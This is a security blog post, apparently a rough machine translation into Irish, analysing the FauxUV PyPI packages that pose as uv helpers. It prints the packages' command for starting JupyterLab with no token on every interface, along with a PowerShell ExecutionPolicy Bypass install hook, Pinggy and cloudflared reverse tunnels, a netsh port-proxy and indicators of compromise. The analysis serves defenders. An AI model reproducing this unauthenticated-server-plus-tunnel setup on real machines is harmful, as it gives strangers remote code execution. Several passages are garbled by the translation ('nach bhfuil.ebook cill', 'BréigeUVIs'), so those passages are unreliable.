FauxUV: Pacáistí PyPI uv Bréige Oscailte Jupyter don Ghréasán

FauxUV: cúntóirí uv bréige PyPI a osclaíonn freastalaí Jupyter neamhúdaraithe don idirlíon

TL; DR

D'fhuair braisle de phacáistí PyPI an t-ainm seo ar iasacht uv, an bainisteoir pacáiste Python atá bunaithe ar Rust agus atá tapa agus thar a bheith coitianta, le ligean orthu gur cabhróirí uv iad. Ní sholáthraíonn siad beagnach aon fhíorfheidhmiúlacht. Is é atá acu ina ionad sin ná ualach Windows a sheasann suas Freastalaí JupyterLab agus an fíordheimhniú múchta agus, i leaganacha níos déanaí, foilsíonn sé é ar an idirlíon poiblí trí thollán droim ar ais.

Sin é an scéal ar fad i líne amháin: ainm uirlis iontaofa mar an mhealladh, agus JupyterLab mar an inneall forghníomhaithe cód iargúlta. Ritheann freastalaí Jupyter cibé cód a chlóscríobhann tú isteach i bhfreastalaí nach bhfuil.ebook cill; ceann amháin a sheoltar le comhartha folamh agus atá ceangailte le gach comhéadan líonra is ateangaire oscailte é ar féidir le duine ar bith a shroicheann an port a thiomáint.

Déanaimid rianú ar an gcnuasach mar BréigeUVIs iad an dá phacáiste a scrúdaíodh ná moon-uv (0.0.1 – 0.0.16) agus my-magic-uv-helper (0.0.1), foilsithe ag an oibreoir céanna agus beo ar PyPI tráth na hanailíse.

ÉiceachórasPyPI
Pacáistímoon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1)
Ardán spriocdhíritheWindows
Iompar lárnachFreastalaí JupyterLab neamhfhíordheimhnithe, foilsithe ar an idirlíon trí thollán droim ar ais
Uirlisí dlisteanacha mí-úsáidteuv, JupyterLab, scamall-lasraithe, Pinggy

An mealladh: ainm a bhfuil muinín agat as cheana féin

uv tá sé ar cheann de na huirlisí Python is mó suiteáilte le dhá bhliain anuas, mar sin “cúntóir do uv"Is pacáiste é a shuiteálann forbróir gan mhoill. Caitheann FauxUV a chreidiúnacht go hiomlán ar an ainm sin. Fillteann na pacáistí an fíor uv suiteálaí ó Astral — pointeálann na URLanna san ualach chuig óstach fíor, measúil — mar sin ní fheictear ach tagairtí iontaofa le breathnú go gasta. Ní chuireann aon cheann de na pacáistí leis i ndáiríre uv feidhmiúlacht; is é an t-ainm an bréagriocht iomlán.

JupyterLab mar inneall RCE

Is lainseálaí lárphointe an ualaigh a thosaíonn JupyterLab agus gach ráille cosanta bainte amach:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Baintear cosaint de gach bratach, agus cuireann an script a seoladh nótaí orthu fiú (sa bhunleagan Sínis): an comhartha folamh "múchann sé seiceálacha pasfhocail agus comharthaí — is féidir le duine ar bith ceangal." saotharlann Iúpatar is IDE eolaíochta sonraí dlisteanach é, ach níebook Déanann cill cód treallach a fhorghníomhú de réir dearaidh. Cumraithe ar an mbealach seo agus ceangailte le 0.0.0.0, stopann sé de bheith ina IDE agus éiríonn sé ina bhlaosc cianda neamhúdaraithe ar an óstach — níl aon ghá le dénártha malware saincheaptha, ach uirlis phríomhshrutha atá dírithe sa treo mícheart.

Déanann dhá phíosa tacaíochta sin inrochtana agus in-athdhéanta:

  • Spreagthóir suiteála ciúin. Ritheann leaganacha luatha PowerShell le Seachbhóthar Beartais Forghníomhaithe díreach ó thus.py on shuiteáil pip, sa chúlra agus earráidí faoi chois ionas pip cuma gnáth air. Bogann leaganacha níos déanaí an bunphrionsabal céanna isteach i pip-uv uirlis líne ordaithe — agus scaoil an uathrith ag am na suiteála go hiomlán.
  • Tollán droim ar ais poiblí. Freastalaí ar siúl 0.0.0.0 níl sé fós inrochtana ach ag óstach ar féidir leo bealach a dhéanamh chuig an meaisín. Osclaíonn modúl pacáilte [Pinggy](https://pinggy.io/) Tollán droim ar ais SSH a sheolann an calafort Jupyter áitiúil ar aghaidh chuig seoladh poiblí, rud a bhaineann an teorainn sin. Tá cosán malartach sa script a sheoltar freisin — gan trácht — ag baint úsáide as Cloudflare. scamaill agus a netsh calafort-seachfhreastalaí chuig IP Linode, ag doiciméadú an sprioc chéanna trí bhonneagar difriúil.

Cuir le chéile: suiteáil an pacáiste, agus críochnaíonn óstach Windows ag rith JupyterLab gan phasfhocal agus á fhoilsiú ar an idirlíon oscailte.

Conas a d'athraigh FauxUV

Seoladh leaganacha FauxUV i ndiaidh a chéile go gasta, agus bhog pointe spreagtha an ualaigh trasna orthu - meabhrúchán nach n-insíonn leagan amháin bratach scéal iomlán líne phacáiste go hannamh.

Cúrsa Oiliúna leaganacha Truicear Cad a chuireann sé leis
Suiteáil-crúca moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 setup.py ar shuiteáil pip suiteáil uv + réamhshuíomh PATH
Am rith CLI moon-uv 0.0.5-0.0.13 pip-uv orduithe an lainseálaí JupyterLab gan phasfhocal
Tollán moon-uv 0.0.14-0.0.16 pip-uv orduithe tollán droim ar ais Pinggy gníomhach

Go háirithe, bhí an t-uathoibriú ag am na suiteála bhaint sna leaganacha níos déanaí, níos cumasaí — mar sin scanóir a bhfuil eochair ann ar an saolré amháin hooks dhéanfadh sé na heisiúintí níos nuaí a scóráil mar níos lú contúirteach, go díreach ar gcúl.

Táscairí comhréitigh

Deimhnithe trí fhoinse an phacáiste a léamh; críochphointí marcáilte Dúirt atá i láthair sna comhaid ach ní dhéantar iad a fhorghníomhú ag an leagan anailísithe. Tá táscairí líonra dífhanáilte.

Cineál Táscaire
Ordú suiteála powershell -ExecutionPolicy Bypass ag fáil an suiteálaí fíor-uv, ag am suiteála pip
Bratacha JupyterLab --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Tollán droim ar ais (gníomhach) free[.]pinggy[.]io:443 ag cur ar aghaidh go háitiúil 127.0.0.1:8888
Óstach tolláin (trácht déanta air) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (tráchtáilte) 45[.]79[.]134[.]161 (Linode) trí netsh port-proxy
Marthanacht réamhshocraíonn %USERPROFILE%\.local\bin chuig an úsáideoir PATH

Comharthaí iompraíochta ar fiú a bheith airdeallach orthu, neamhspleách ar na teaghráin chruinne seo: a shuiteáil pip a sceitheann powershell - Seachbhóthar Beartas Forghníomhaitheaon Iúpatar seoladh comhcheangal comhartha = "" le –ip=0.0.0.0agus SSH amach chuig *.pinggy.io ó fhorbróir nó ó mheaisín CI.

Iompar breathnaithe agus bunús

Roinneann an dá phacáiste údar agus modh: ainm uirlis iontaofa, geataíocht Windows amháin, forghníomhú cúlra a choscann earráidí, agus spleáchas ar uirlisí measúla ionas nach bhfeictear ach URLanna measúla le breathnú go tapa. Tá tráchtanna sa tSínis ag an bhfoinse a chuireann síos go soiléir ar na bratacha slándála; tuairiscímid iad sin mar ráitis inbhraite sa chomhad, ní mar éileamh faoi chúis. ceadaigh_bunús luach agus a comhoibriú.bat Macallaíonn ainm comhaid na sreafaí oibre neamhfhoirmiúla “comhroinn mo rith-am áitiúil” a scaiptear do Google Colab. Cibé bunús atá leis, is ionann an toradh pacáistithe.

Tionchar agus treoir do chosantóirí

Cé atá nochta do FauxUV. Forbróirí Windows agus reathaithe CI a shuiteáil pip ceann de na pacáistí seo. JupyterLab gan phasfhocal ar 0.0.0.0 is forghníomhú cód iargúlta é d’aon duine a fhéadann an port a bhaint amach; baintear an teorainn “cé a fhéadann é a bhaint amach” leis an tollán. Ritheann an freastalaí mar an úsáideoir suiteála, ag oidhreacht comhaid, comharthaí agus dintiúir scamall an úsáideora sin.

Cén fáth go bhfuil sé éasca é a chailleadh. Díríonn gach sreang líonra ar óstach dea-cháil — Astral, JupyterLab, scamaill, Pinggy, Colab. Níl aon dénártha malware le haiseadh agus níl aon bhlob doiléir le díchódú. Cuireann scanadh bunaithe ar chlú agus ar shíniú an iomarca meáchain air seo, agus is é sin an fáth go bhfuil an cheist iompraíochta — cad a dhéanann an meaisín nuair a shuiteáiltear an pacáiste seo — is é an té a ghabhann é.

Treoir:

  • Déileáil le haon am suiteála powershell - Seachbhóthar Beartas Forghníomhaithe mar chomhartha briseadh tógála, cibé URL a fhaigheann sé.
  • Foláireamh ar Iúpatar seoladh le comhartha folamh agus –ip=0.0.0.0níor cheart go mbeadh an teaglaim sin le feiceáil ar stáisiún oibre ná ar rithire choíche.
  • Monatóireacht a dhéanamh ar SSH amach chuig soláthraithe tolláin (*.pinggy.io, *.trycloudflare.com) ó thimpeallachtaí forbróra agus CI.
  • shuiteáil uv ón [foinse oifigiúil](https://docs.astral.sh/uv/) agus bí amhrasach faoi phacáistí “cúnta” tríú páirtí a chuireann uirlis atá simplí cheana féin a shuiteáil ar leataobh.
  • Priontáil agus athbhreithnigh spleáchais le linn uasghrádaithe — is féidir le líne phacáiste cumais nua a fhás leagan thar leagan.
uirlisí-sca-uirlisí-bogearraí-anailíse-comhdhéanamh
Tabhair tosaíocht do rioscaí bogearraí, déan iad a leigheas agus a dhaingniú
Faigh do Chuntas Saor in Aisce.
Níl aon chárta creidmheasa ag teastáil.

Daingnigh do Fhorbairt agus do Sheachadadh Bogearraí

le Sraith Táirgí Xygeni